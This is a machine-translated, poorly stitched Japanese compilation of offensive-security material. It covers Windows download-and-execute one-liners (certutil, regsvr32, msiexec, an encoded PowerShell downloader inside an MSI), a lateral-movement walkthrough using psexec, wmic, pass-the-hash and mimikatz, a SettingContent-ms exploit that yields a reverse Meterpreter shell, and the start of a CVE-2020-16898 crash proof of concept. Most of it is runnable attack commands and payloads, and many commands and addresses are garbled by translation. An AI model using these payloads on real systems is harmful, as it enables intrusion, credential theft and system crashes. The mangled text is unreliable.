Meta http-equiv='content-type' content='text/html; charset=utf-8 '

スクリプト言語='vbscript'

window.resizeto 0、0

Window.Moveto -2000、-2000

set objshell=createObject( 'wscript.shell')

objshell.run 'calc.exe'

self.close

/スクリプト

デモ

/体

/頭

/HTML

4。 rundll32コマンドダウンロードと実行

rundll32 \\ webdavserver \ folder \ payload.dll、エントリポイント

rundll32.exe javascript: '\ . \ mshtml、runhtmlapplication'; o=getobject( 'script:3358webserver/payload.sct'); window.close();

参照:https://github.com/3gstudent/javascript-backdoor

5.NET Regasmコマンドをダウンロードして実行します

c: \ windows \ microsoft.net \ framework64 \ v4.0.30319 \ regasm.exe /u \ webdavserver\folder\payload.dll

6.CMDリモートコマンドのダウンロード:

cmd.exe /k \\ webdavserver \ folder \ batchfile.txt

7.REGSVR32コマンドのダウンロードと実行

regsvr32 /u /n /s /i3360http://webserver/payload.sct scrobj.dll

regsvr32 /u /n /s /i: \ webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i:3358site.com/js.png scrobj.dll

js.png

?xmlバージョン='1.0'?

スクリプトレット

登録

progid='shortjsrat'

classId='{10001111-0000-0000-0000-0000-0000Feedacdc}'

! - Casey Smith @Subteeから学ぶ -

スクリプト言語='jscript'

![cdata [

ps='cmd.exe /c calc.exe';

new ActiveXObject( 'wscript.shell')。run(ps、0、true);

]]

/スクリプト

/登録

/スクリプトレット

8.Certutilコマンドのダウンロードと実行

certutil -urlcache -split -f http://webserver/ペイロードペイロード

certutil -urlcache -split -f http://webserver /payload.b64 payload.b64 certutil -decode payload.b64 payload.dll c: \ windows \ microsoft.net \ framework64 \ v4.0.30319 \ instalutil /logfile=ulgfile=ul gaylod.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 certutil -decode payload.b64 payload.exe payload.exe

certutil -urlcache -split -f http://site.com/a a.exe a.exe del a.exe certutil -urlcache -f http://192.168.254.102:80/a Delete

9.net 9.net

でmsbulidコマンドをダウンロードして実行します

cmd /v /c 'set mb=' c: \ windows \ microsoft.net \ framework64 \ v4.0.30319 \ msbuild.exe '!mb! /noauteresponse /preprocess \\ webdavserver \ folder \ payload.xml payload.xml!mb! payload.xml '

10。 ODBCCONFコマンドのダウンロードと実行

odbcconf /s /a {regsvr \\ webdavserver \ folder \ payload_dll.txt}

11.cscriptスクリプトリモートコマンドのダウンロードと実行

cscript/b c: \ windows \ system32 \ printing_admin_scripts \ zh-cn \ pubprn.vbs 127.0.0.1 Script:https://raw.githubusercontent.com/3gstudent/test/master/downdoadexec3.sct

cscript //e:jscript \\ webdavserver \ folder \ payload.txt

downfile.vbs:

'設定を設定します

strfileurl='https://hacker.bz/t/tu/ckhxbukkqru9204.jpg'

strhdlocation='c: \ logo.jpg'

'ファイルを取得します

set objxmlhttp=createObject( 'msxml2.xmlhttp')

objxmlhttp.open 'get'、strfileurl、false

objxmlhttp.send()

objxmlhttp.status=200の場合

objadostream=createObject( 'adodb.stream')を設定します

objadostream.open

objadostream.type=1 'adtypebinary

objadostream.write objxmlhttp.responsebody

objadostream.position=0'STREMの位置を開始までセットします

set objfso=createObject( 'scripting.filesystemobject')

objfso.fileexists(strhdlocation)の場合、objfso.deletefile strhdlocation

objfso=何も設定しません

objadostream.savetofile strhdlocation

objadostream.close

objadostream=Nothingを設定します

ifを終了します

objxmlhttp=何も設定しません

上記をdownfile.vbsとして保存します

コマンドを入力してください:cscript downfile.vbs

12.pubprn.vbsコマンドをダウンロードして実行

cscript /b c: \ windows \ system32 \ printing_admin_scripts \ zh-cn \ pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.scs

13.windowsには独自のコマンドコピーが付属しています

コピー\\ x.x.x.x \ xx \ poc.exe

Xcopy D: \ test.exe \\ x.x.x \ test.exe

14。 iexplore.exeコマンドをダウンロードして実行します(つまり、odayが必要です)

'C: \ Program Files \ Internet Explorer \ iexplore.exe' http://site.com/exp

15.ieexcコマンドのダウンロードと実行

c: \ windows \ microsoft.net \ framework \ v2.0.50727 \ caspol -s off

c: \ windows \ microsoft.net \ framework \ v2.0.50727 \ ieexec http://site.com/files/test64.exe

参照:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16。 msiexecコマンドのダウンロードと実行

msiexec /q /i https://hacker.bz/t/tu/icr2sy1pdlx9205.png

この方法は、以前の2つの記事《渗透测试中的msiexec》 《渗透技巧——从Admin权限切换到System权限》で紹介されています。この方法を紹介しましたが、詳細を繰り返しません。

まず、Base64エンコーディングは、PowerShell実装のダウンロードと実行のコードとして使用されます。

$ filecontent='(new-Object System.net.webclient).downloadfile(' https://github.com/3gstudent/test/raw/master/putty.exe '、' c: \ download \ a.exe '); start-process' c3360

$ bytes=[system.text.encoding] :3360Unicode.getBytes($ filecontent);

$ encoded=[System.Convert] :3360TOBASE64STRING($ bytes);

$エンコード

得る:

kabuaguadwatag8aygbqaguaywb0acaauwb55ahmadablag0algboaguadauafcazqbiaemababguabguabgB0Ackalgbeag8adwbuagwabw bhagqargbpagwazqaoaccaaab0ahqacabzadoalwavagcaaqb0aggadqbiac4aywbvag0alwazagcacwb0ahuazablag4adavahqazqbz ahqalwbyageadwavag0ayqbzahqazqbyac8acab1ahqadab5ac4azqb4aguajwasaccaywa6afwazabvahcabgbsag8ayqbkafwayqaua guaeablaccaka7ahmadabhahiaatahaacgbvagmazqbzahmaiaanagmaogbcagqabwb3ag4abvageazabcagealgblahgazqanaa==

完全なPowerShellコマンドは次のとおりです。

PowerShell -WindowStyle Hidden -Ec kabuaguadwatag8aygbqaguaywb0acaauwb55ahmadablag0algboaguadauafcazqbiaemababguabguabgB0Ackalgbeag8adwbuagwabw bhagqargbpagwazqaoaccaaab0ahqacabzadoalwavagcaaqb0aggadqbiac4aywbvag0alwazagcacwb0ahuazablag4adavahqazqbz ahqalwbyageadwavag0ayqbzahqazqbyac8acab1ahqadab5ac4azqb4aguajwasaccaywa6afwazabvahcabgbsag8ayqbkafwayqaua guaeablaccaka7ahmadabhahiaatahaacgbvagmazqbzahmaiaanagmaogbcagqabwb3ag4abvageazabcagealgblahgazqanaa==

完全なWIXファイルは次のとおりです。

?xmlバージョン='1.0'?

WIX XMLNS='http://SCHEMAS.MICROSOFT.COM/WIX/2006/WI'

製品ID='*' upgradeCode='12345678-1234-1234-1234-11111111111111111111111111111111111111111111111111111111111111111年目の例

名前'バージョン=' 0.0.1 'メーカー='@_ xpn_ '言語=' 1033 '

パッケージinstallerversion='200'圧縮='はい'コメント='Windowsインストーラーパッケージ'/

メディアID='1' /

ディレクトリid='targetdir' name='sourcedir'

ディレクトリID='ProgramFilesFolder'

ディレクトリid='installlocation' name='example'

Component Id='ApplicationFiles' Guid='12345678-1234-1234-1234-2222222222222222222222222222222222222222

/成分

/ディレクトリ

/ディレクトリ

/ディレクトリ

feature id='defaultfeature' level='1'

componentref id='applicationFiles'/

/特徴

プロパティID='CMDLINE'POWERSHELL -WINDOWSTYLE HIDDEN -ENC kabuaguadwatag8aygbqaguaywb0acaauwb55ahmadablag0algboaguadauafcazqbiaemababguabguabgB0Ackalgbeag8adwbuagwabw bhagqargbpagwazqaoaccaaab0ahqacabzadoalwavagcaaqb0aggadqbiac4aywbvag0alwazagcacwb0ahuazablag4adavahqazqbz ahqalwbyageadwavag0ayqbzahqazqbyac8acab1ahqadab5ac4azqb4aguajwasaccaywa6afwazabvahcabgbsag8ayqbkafwayqaua guaeablaccaka7ahmadabhahiaatahaacgbvagmazqbzahmaiaanagmaogbcagqabwb3ag4abvageazabcagealgblahgazqanaa==

/財産

Customaction ID='SystemShell' execute='Deferred' Directory='TargetDir'

execommand='[cmdline]' return='無視' Imprionate='no'/

customaction id='failinstall' execute='deferred' script='vbscript' return='check'

VBSがインストールに失敗するように無効になりました

/カスタムアクション

InstallexecuteSequence

カスタムアクション='Systemshell' after='installInitialize'/custom

カスタムアクション='failinstall' before='installfiles'/custom

/installexecuteSequence

/製品

/wix

コンパイルしてMSIファイルを生成します。コマンドは次のとおりです。

candle.exe msgen.wix

light.exe msgen.wixobj

test.msiを生成します

実装関数:msiexec/q/i 3https://github.com/3gstudent/test/raw/master/test.msi

注:実行後、プロセスを手動で終了する必要がありますmsiexec.exe

Baiduが提供する短いアドレスサービス(http://dwz.cn/)と組み合わせると、実装コードは34文字で、コードは次のとおりです。

msiexec /q /i http://dwz.cn/6ujpf8

17。コマンドをダウンロードして、Project GreatSct

を実行します

https://github.com/greatsct/

0x00シーン

今回は、「redhook.da」ドメインでアカウントの利用可能な資格情報を取得することです。イントラネットホストを制御するための権限から始めますが、ターゲットドメインコントローラーと同じサブネットにはありません。下の図に示すように:

1049983-20201012143948201-798475802.png

さらに、攻撃者がクライアント1ホストのローカル管理者キャッシュ認証資格情報を取得したと仮定します。一般に、ネットワーク範囲が十分に大きい場合、対応する保存された有効な資格情報は、バッチ、VB、NET、PS1などのスクリプトを介してネットワーク共有にあります。初期アクセスを取得します。この記事では、この攻撃者は、Windowsを横向きに移動する方法と、AVSのバイパスを含まない状況に焦点を当てています。

0x00クライアントホストを攻撃する

1。バッチスクリプトの取得は上記のとおりです。 Clent1(10.0.0.129)ホストのユーザー認証資格情報は、ネットワーク共有のバッチ処理とスクリプトを通じて取得されました。

#\\ fileserver \ users \ bob \ workstations \ errorlog.batのmock contents

@ECHOオフ

ネット使用'\\ 10.0.0.129 \ c $' /user:bob imsosecur3! #Create共有

存在する場合'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'(

Echo 'ため息、クライアントのより多くのエラー1!コピー. '

'\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt' c: \ uses \ bob \ logs \ client1 \

del '\\ 10.0.0.129 \ c $ \ program files \ msbuild \ errorlog.txt'

) それ以外(

echo 'yaay、クライアントに新しいエラーはありません!'

))

正味使用'\\ 10.0.0.129 \ c $' /delete

バッチスクリプトを介して指定されたIPのNetBIOS情報をすばやく取得します。

NBTSCAN -VH 10.0.0.129

または

NBTSTAT -A 10.0.0.129

1049983-20201012143948729-1907007498.jpg

コマンドnbtstat -a ipを使用して同じ操作を実行することもできます。ホスト名win7-ent-cli1を取得することができ、それはredhookドメインに接続されています

2.PsexecはMetasploitのPSEXECを使用します。これにより、Kaliのクライアント1ホストのリバウンドシェルを簡単に取得できます。ボブはドメインアカウントではなくローカルアカウントであることに注意してください。したがって、SMBDomainパラメーターは使用されません。

msfuse exploit/winodws/smb/psexec

MSFSET RHOST 10.0.0.129

MSFSET SMBUSER BOB

msfset smbpass imsosecur3!

msfshowオプション

msfexploit

1049983-20201012143949223-1768103760.png

ここでは、RemComSVCを使用してPSEXECをシミュレートするImpacketパッケージのPsexecを使用することもできます。ここでの利点は、明確な卒業証書が得られない場合、ハッシュパスを受け入れることができることです。

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

1049983-20201012143949787-910686673.png

Windowsの下のpsexec.exeも水平方向に移動することができ、実行可能ファイルに署名する利点があります。このコマンドに「-s」識別子を追加すると、システムシェルが取得されます。

psexec.exe \\ 10.0.0.129 -u bob -p imsosecur3! CMD

1049983-20201012143950422-1118353263.png

3.WMIは、リモートコマンドツールの実行に関するものです。ここで最も有名なのはWMICツールです。リモートホストでのコマンド実行を可能にするだけでなく、WMIを使用して機密情報を取得し、ホストシステムを再構成します。このツールは、Windowsのコマンドが組み込まれています。

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystemリストブリーフ /FORMAT:LIST #REMOTELY COMPUTER情報を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3! ComputerSystem usernameを取得#REMOTELYターゲットユーザーアカウント情報許可を取得します

wmic /node:10.0.0.129 /user:bob /password:3360imsososecur3!プロセスコールクレート 'calc.exe' #remote作成プロセス、ここにcalc.exeがあります

wmic /node:10.0.0.129 /user:bob /password:imsososecur3! ComputerSystem Process Name、ProcessID |を取得します検索#REMOTELYプロセスID、名前、およびプロセスを実行する

} 1049983-20201012143950828-66913465.png

4.wmiexecは、インパケットパッケージでWMIEXECツールを使用し、コマンドを実行してコマンド出力を印刷することができます。また、半互換シェルを提供したり、ハッシュを通したりすることができます。

python wmiexec.py bob:imsososecur3!@10.0.0.129ルートプリント-4 10.*

1049983-20201012143951357-1913063964.png

PowersploitzのInvoke-Wmicommandは、PscRedentialオブジェクトの使用により、より多くのメモリを占有しますが、コマンドの印刷とスクリプトのメモリストレージの場所を取得できます。

1049983-20201012143951938-1370830872.png

5。Pass-The-Hash(WCEおよびMimikatz)時々、ターゲットホストコマンドウィンドウが取得されると、ターゲットホストユーザーのNTLMハッシュ値は取得でき、プレーンテキストパスワードは取得できません。この場合、MetaSploit(PSEXEC)またはImpackを使用できます。環境がローカルウィンドウ環境に限定されている場合、WCEまたはMimikatzを使用してNTLMハッシュをプロセスに注入できます。

おっと

正味使用\\ 10.0.0.129 \ admin $#ターゲット共有は取得できません。ユーザー名とパスワードはここで必要です

wce.exe -s bob:3360AAD3B435B1404EEAAD3B435B51404E:F6C0FA29F4CAD745AD04BED1D00A7C82 #REMOTE WCE.EXE

正味使用\\ 10.0.0.129 \ admin $

dir \\ 10.0.0.129 \ admin $

1049983-20201012143952406-1738653105.png

欠点は、WCEがエラーアラーム情報を表示することです!PowerShellを使用して、Mimikatzをメモリに直接ロードできます!ただし、この場合、コンパイルされたバイナリファイルmimikatz.exeを使用することをお勧めします。

正味使用\\ 10.0.0.129 \ $ admin

Miminatz.exe

mimikatz#sekurlsa:pth /user:bob /domain: /NTLM:F6C0FA29F4CAD745AD04BED1D00A7C82 #MMIKATモジュールPTH

おっと

正味使用\\ 10.0.0.129 \ $ admin

1049983-20201012143952894-1915756352.png

この場合、フィールドはすべて「。」に設定されていることに注意してください。これは、ボブがローカルアカウントだからです。

0x02拠点01

を確立します

1.MetasPloit(MimikatzとHashdump)は、Mimikatzを使用して、アクティブセッションのユーザー資格情報を取得し、Hashdumpを取得して、現在ログインしていないローカルアカウントのハッシュを取得します。

MeterPreterload Mimikatz #load Mimikatzモジュール

MeterPrtertSPKG #Enhanceシステム許可

MeterPrterMSVV#現在アクティブなセッション資格情報を取得します

MeterPrterHashdump#ローカルホストアカウントのすべてのハッシュ値を取得します

1049983-20201012143953491-2109071315.png

2。SecretSdumpとInvoke-Mimikatzは、PowersploitのImpackのSecretSdumpおよびInvoke-Mimikatzにも使用できます。この場合、Invoke-Mimikatzは攻撃者のWebサーバーでホストされています。

python secretsdump.py bob:imsosecur3!@10.0.0.129

python psexec.py bob:imsosecur3!@10.0.0.0.129 cmd

Powershell -exec Bypass -command 'iex(new-Object System.net.webclient).dowloadstring(' http://10.0.0.129/invoke-mimikatz.ps1 '); Invoke-Mimikatz' '

Mimiatz(Powershell)#Sekurlsa:logonpasswords

1049983-20201012143954299-46010124.png

もちろん、この問題を解決する他の方法はありますが、これらが主なアプローチであると考えています。

0x03情報収集

Redhookドメインのホストにアクセスできるようになりました。これは別のサブネットにも接続されています。

1。トークンの買収。これで、Redhookドメインにマシンがあり、異なるサブネットに接続できます。今、私たちは情報を収集し始めます。

ドメイン情報を照会するには、ドメインユーザーが必要です。現在のBOBユーザーはドメインユーザーまたはシステムの許可ではありませんが、使用できます

ntquerysysteminformation他のユーザーのトークンを発見し、ログインをシミュレートします。

MeterPreterにはこのプラグインがあり、プロセスが非常にシンプルになります。

MeterPrtergetUid

meterpterlist_tokens -u

meterprterimpersonate_token redhook \\ asenath.waite

MeterPrtershell

誰が

1049983-20201012143955121-1187620161.png

また、リモートで使用できるPSEXECのような機能を備えたツールであるLuke JenningsのIncognitoを使用することもできます。

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! list_tokens -u

Incognito.exe -H 10.0.0.129 -U bob -p imsosecur3! -c redhook \ asenath.waite cmd.exeを実行します

1049983-20201012143955732-470727192.png

最後に、PowerSploitのInvoke-TokenManipulationがあります。ただし、現在の状態では、必要な機能を実際に取得できないため、使用することはお勧めしません。

2。ドメイン情報収集。現在、ターゲットドメインホストのシェルが取得されており、最大の結果を得るには、いくつかの情報収集を実行する必要があります。

c: \ windows \ system32 whoami redhook \ asenath.waite

c: \ windows \ system32 hostnamewin7-ent-cli1

c: \ windows \ system32 ipconfig

Windows IP構成

イーサネットアダプターローカルエリア接続2:

接続固有のDNS接尾辞。 LocalDomain Link-Local IPv6アドレス。 FE80:3360A1BA:A1AB:170C:7916%17 IPv4アドレス。 。 10.0.0.129#攻撃者のサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。

イーサネットアダプターBluetoothネットワークConnection:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

イーサネットアダプターローカルエリアConnection:

接続固有のDNS接尾辞。 Link-Local IPv6アドレス。 FE80:33605DDC:1E6336017E9:9E15%11 IPv4アドレス。 。 10.1.1.2#redhookサブネットサブネットマスク。 。 255.255.255.0デフォルトゲートウェイ。 。 10.1.1.1

トンネルアダプターISATAP。{8D0466B5-1F88-480C-A42D-49A871635C9A} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

トンネルアダプターiSatap.localdomain:

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。 LocalDomain

トンネルアダプターISATAP。{5CBBE015-1E1C-4926-8025-EBB59E470186} :

メディア状態。 。メディアが接続された接続固有のDNSサフィックス。

#非常に小さなネットワーク、3人のホスト、私たちが妥協したばかりのホストを含む。

-------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2

コマンドは正常に完了しました。

#dcユーザーが認証されているtoc: \ windows \ system32 echo%logonserver%\\ redrum-dc

c: \ windows \ system32 ping -n 1 redrum -dc

ping redrum-dc.redhook.local [10.1.1.200]は、10.1.1.1.1.1.1.1.200:=32 time1ms ttl=128から32バイトのdata:Reply

10.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1:送信=1、受信=1、失われた=0(0%損失)、約100万秒の往復時間3:最小=0ms、最大=0ms、平均=0ms

#ローカルユーザーのリスト\ windows \ system32ネットユーザー

ユーザーは\\ win7-ent-cli1を説明します

-----------------------------------------------------------------------------------管理者Bob guestTemplateAdmin

コマンドは正常に完了しました。

#redhookドメインユーザーをリストします

C: \ Windows \ System32ネットユーザー /ドメイン

リクエストは、domain redhook.localのドメインコントローラーで処理されます。

\\ redrum-dc.redhook.localをユーザーアカウント

---------------------------------------------------------------------------------------------------------------------------------------------------------------- GuestJohn.smith Krbtgt Redhook.Darobert.Suydam Wilbur.Whateley

コマンドは正常に完了しました。

#powersploit=invoke-enumeratelatelocaladmin:ネットワーク内のボックスにあるローカル管理者であるすべてのユーザーを見つけます。

c: \ windows \ system32 powershell -exec bypass -command 'iex(new -object system.net.webclient).downloadstring(' http://10.0.0.0.128/powerview.ps1 '); invoke -enumeratelocaladm

0x00 SettingContent-MSファイルの紹介

.SettingContent-MSはWindows 10で導入されたファイルタイプです。そのコンテンツはXML形式で記述されており、主にWindows設定ページのショートカットを作成するために使用されます。 Windows 10の下流。 settentcontent-msの接尾辞を備えたファイル。システムは、このクラスファイルのパスがコントロールパネルの関連ディレクトリにあるかどうかを判断するのではなく、コントロールパネル設定に関連するコントロールパネル設定に使用されるファイルのディープリンクタグで指定されたプログラムを直接実行し、ユーザーがシステムのディレクトリでそのようなファイルを実行したり、ネットワークからダウンロードした慎重に設計されたファイルを実行したりします。 SettingContent-MSファイルは、その中で指定された悪意のあるプログラムオブジェクトを直接実行し、任意のコード実行をもたらします。

このファイルには、パラメーターを含むバイナリファイルを使用して実行するディープリンクタグが含まれています。これは問題を引き起こす可能性があります。攻撃者は、CMD.exeやPowershell.exeなどのバイナリファイルを指すDeeplink要素を使用して.settingContent-MSファイルを作成でき、シェルコマンドの実行を提供します。

0x01 Windows Defender AV ASRルール

Windows Defender AV ASRルールは、主にマルウェアをエクスプロイットするコンピューターやアプリケーションに感染するのを防ぐために設計されています。 Windows 10、バージョン1709以降、およびWindows Server 2016で導入されました。WindowsDefenderの以前のバージョンはすべてASRルールでは利用できませんでした。

Windows 10バージョン1703〜1803およびWindows Serverバージョン1709から1803から始めます。次の図は、Windows Defender AV ASRルールがAttackSurfacereductionRules_IDS関数ルールに付属していることを示しています。

ojbczqvsuaa8717.jpg

mvi0cofioqh8718.jpg

また、このバージョン以下の10240では、Windows Defender AV ASRルールにはastationSurfacereductionRules_idsがありません

s3nsx0km0sr8719.jpg

注:ある時点で、搾取の失敗はファイルの場所(デフォルトのポリシー設定)に依存するため、POCファイルを次のディレクトリにコピーして実行するだけです。 (デフォルトのパスを変更すると、管理者の特権を使用してコマンドscmwrap.exe -installを実行できます)

c: \ uses \ [user] \ appdata \ local \ packages \ windows.immersivecontrolpanel_cw5n1h2txyewy \ localstate \ indexed \ settings \ [言語] \

0x02脆弱性の再発

1。簡単なテストポップアップ計算機

1。テストPCファイルを次のディレクトリに入れます。

c: \ users \ admin(user)

\ appdata \ local \ packages \ windows.immersivecontrolpanel_cw5n1h2txyewy \ localstate \ indexed \ settings \ zh-cn \ directory

b5bnzx3bpu08720.jpg

2。クリックしてPOCファイルをテストします。

?xmlバージョン='1.0'エンコード='utf-8'?

pcsettings

SearchAbleContent XMLNS='http://Schemas.microsoft.com/search/2013/SettingContent'

ApplicationInformation

appidwindows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel/appid

Deeplink%Windir%\ System32 \ cmd.exe /c calc.exe /deeplink

ICON%Windir%\ System32 \ Control.exe/Icon

/ApplicationInformation

設定

pageid/pageid

HOSTID {12B1697E-D3A0-4DBC-B568-CCF64A3F934D}/HOSTID

/settingidentity

設定情報

説明@shell32.dll、-4161/description

keywords@shell32.dll、-4161/キーワード

/設定情報

/SearchAbleContent

/pcsettings

その他のディープリンク…/deeplinkは、poc:を置き換えることができます

1。Windir%\ System32 \ cmd.exe /C 'C: \ Program Files \ Internet Explorer \ iexplore.exe' -K https://www.backlion.org/

2。SystemRoot%\ System32 \ WindowsPowerShell \ V1.0 \ PowerShell.Exe -Wind Hidden -Noni -NONOGO -COMM '(New -Object System.Net.WebClient).DownLoadFile(' 3http://192.168.225.129/PWN.EXE ' $ env3360Appdata+'\ svrcheck.exe'); Start-Process $ env:Appdata '\ svrcheck.exe'; exit-pssession; '

3。PowerShell-WindowsStyle Hidden(new-Objectsystem.net.WebClient)downloadFile( 'https://www.xxx.com/test.exe'、%appdata%\ rundll32.exe '); start-cess'%appdata%\ rundll32.exe ''

4。WMICOS GET /format:'https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285D2941298A5B91C24/78065CA63504C9A0F411071377FBE861DE487E44D4D4D4D4D4D4D4D4D4D4D4D4D4D4/

3. [テスト]をクリックします。コンテンツMSを設定して計算をポップアップします

zceqhyz1dg08721.jpg

2。オフィスに埋め込み、計算機をポップアップします

1。単語を作成します。ここでは、Offcie2007を例として使用します

2。ファイルによって作成されたポイント挿入オブジェクト選択

屏幕快照 2018-08-30 下午11.39.43.png

4.アイコンをダブルクリックして開くと、計算機がポップアップします。

w5lyhpczyye8723.jpg

3.Kaliリバウンドシェル

スクリプトを使用してアドレスをダウンロードする:

https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py

1.スクリプトを実行するauto_settingcontent-ms.py kaliの下で、リスニングIPアドレス(kaliネイティブホストIP)とポートに記入します

root@kali2018:/opt#python auto_settingcontent-ms.py

khkav5vxwmh8724.jpg

2。TEST.SETTINGCONTENT-MSは現在のディレクトリで生成され、生成されたライセンスが/var/www/htmlディレクトリに自動的にコピーされます。

gvetpxmakfs8725.jpg

1z45hzpahmg8726.jpg

5。Apacheサービスをオンにします。

root@kali2018:/opt#service apache2 start

qbhihe21dfi8727.jpg

6. MSFを起動してから、IPアドレスを設定し、リスニングポートとペイロードを設定します

MSFはExploit/Multi/Handlerを使用します

MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_httpsを設定します

MSF Exploit(Multi/Handler)にオプションが表示されます

MSF Exploit(Multi/Handler)セットLHOST 10.250.117.10

MSF Exploit(Multi/Handler)Set LPort 5555

MSF Exploit(Multi/Handler)Exploit

gj3h105e3ja8728.jpg

uqczlk5ffzn8729.jpg

7.生成されたtest.settingContent-msをコピーしてから、新しいtest.docドキュメントを作成し、データを挿入します

fgamzennj2z8730.jpg apc1dbfsguu8731.jpg

kfhvnvlr1dg8732.jpg

8.次に、[test.docx]をクリックして、ドキュメントを開き、アイコンをクリックしてバウンスします。

rbskt1fyv0s8733.jpg

9. Kaliの下にリバウンドターゲットシステムシェルが表示されます。

ejdvziz1l018734.jpg

ckbrp2a2uhk8735.jpg

0x03脆弱性はバージョン

に影響します

32ビットシステム用のWindows 10バージョン1703

4343885

セキュリティの更新

リモートコード実行

重要

4338826

X64ベースのシステム用Windows 10バージョン1703

4343885

セキュリティの更新

リモートコード実行

重要

4338826

32ビットシステム用のWindows 10バージョン1709

4343897

セキュリティの更新

リモートコード実行

重要

4338825

64ビットシステム用のWindows 10バージョン1709

4343897

セキュリティの更新

リモートコード実行

重要

4338825

32ビットシステム用のWindows 10バージョン1803

4343909

セキュリティの更新

リモートコード実行

重要

4338819

X64ベースのシステム用Windows 10バージョン1803

4343909

セキュリティの更新

リモートコード実行

重要

4338819

Windows Server、バージョン1709(サーバーコアインストール)

4343897

セキュリティの更新

リモートコード実行

重要

4338825

Windows Server、バージョン1803(サーバーコアインストール)

4343909

セキュリティの更新

リモートコード実行

重要

4338819

0x04脆弱性防御の提案

ファイアウォールや電子メールゲートウェイで実行して、settingContent-MSファイルをブロックするのが最善です。さらに、グループポリシーを使用して強制することを検討する必要があります。SettingContent-MSは、メモ帳(https://montour.co/2016/09/group-policy-force-js-files/)で開くことを禁止されています。

0x05参照リンク

https://www.t00ls.net/thread-47622-1-1.html

https://hk.saowen.com/a/18EA08A24EFD7D58C9D24CE69CAD41AAC8E1535026D266A3E6CED826D77777A341

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

https://github.com/joesecurity/scmwrap

https://github.com/sscyber0/deeplink_reverse_tcp

0x00脆弱性の背景

2020年10月14日、モニタリングにより、MicrosoftがTCP/IPリモートコード実行の脆弱性のリスク通知を発行したことが発見されました。脆弱性は、IMCPV6ルーター広告パケットを処理する際のWindows TCP/IPスタックの脆弱性によって引き起こされました。リモート攻撃者は、特別に作成されたICMPV6ルーター広告パケットを構築し、リモートBSODを引き起こす可能性のあるリモートWindowsホストに送信し、脆弱性数はCVE-2020-16898でした。

0x01影響バージョン

オペレーティングシステムバージョンパッチテストWindows 10

x86/x64/arm64

1709

ショ和

Windows 10

x86/x64/arm64

1803

ショ和

Windows 10

x86/x64/arm64

1809

ショ和

Windows 10

x86/x64/arm64

1903

ショ和

Windows 10

x86/x64/arm64

1909

ショ和

Windows 10

x86/x64/arm64

2004年

ショ和

Windows Server 2019

Windows Server 2019(サーバーコアエディション)

Windows Server 1903バージョン(サーバーコアエディション)

Windows Serverバージョン1909(サーバーコアエディション)

Windows Server 2004バージョン(サーバーコアバージョン)

0x02脆弱性の原因

RFC5006の説明によると、RDNSSパッケージの長さは奇妙なはずです。攻撃者によって構築されたRDNSSパッケージの長さの長さが均等である均一である場合、Windows TCP/IPはパケット検査プロセス中の長さに応じて各パッケージのオフセットを取得し、解像度を通過し、IPv6再帰DNSサーバーのアドレスのアドレスの境界解像度の境界解像度のエラーを経て、次のRDNSのオプションを介して攻撃を妨げて攻撃オプションを使用し、次のRDNSのオプションを使用し、次のRDNSオプションを使用して、次のRDNSオプションを使用すると、次のRDNSオプションを使用して、次のRDNSオプションを使用して、次のRDNSオプションを使用して攻撃を妨げているため、攻撃を検証して攻撃を検証しました。システムのクラッシュになります。

0x03脆弱性の再発

攻撃航空機:win10x64

ターゲットマシン:Windows 10x64_1709

1.vmwareを介して被害者ホストのIPv6をオンにします

1049983-20201026093851032-1267701815.png 1049983-20201026093851533-867959393.png

2. CVE-2020-16898.pyスクリプトのIPv6アドレスを変更します。これは、攻撃マシンとターゲットマシンIPv6アドレスの元の接続IPv6アドレスです。

1049983-20201026093852105-277304902.png 1049983-20201026093852661-623439245.png#!/usr/bin/env python3

#CVE-2020-16898の概念実装/BSODエクスプロイト-WindowsTCP/IPリモートコード実行脆弱性

#著者: Adam 'PI3' Zabrocki

#http://pi3.com.pl

scapy.allからimport *

scapy.layers.inet6からIMPMPV6NDOPTEFA、ICMPV6NDOPTRDNSS、ICMPV6ND_RA、IPv6、IPv6ExthDrfragment、fragment6からインポート

V6_DST='FD1533604BA5:5A2B:1008:9D373:36D2:3360336:6496' #targettターゲットマシンIPv6アドレス

V6_SRC='FE803:3360EC1E:A7AA:6717:67C6%13' #ATTACK MANISEローカルリンクIPv6アドレス

p_test_half='a'.encode()*8 + b' \ x18 \ x30 ' + b' \ xff \ x18 '

p_test=p_test_half + 'a'.encode()*4

c=icmpv6ndoptefa()

e=icmpv6ndoptrdnss()

e.len=21

e.dns=[

'AAA:AAAAA:AAA:AAAA:FFF:AAAAAA:AAA:AAAAA33333:AAAA:AAAAAA3:AAAAAA'

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

'AAA:AAAA:AAA:AAAA:AAA3360AAA3360AAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3333:AAAAAAA

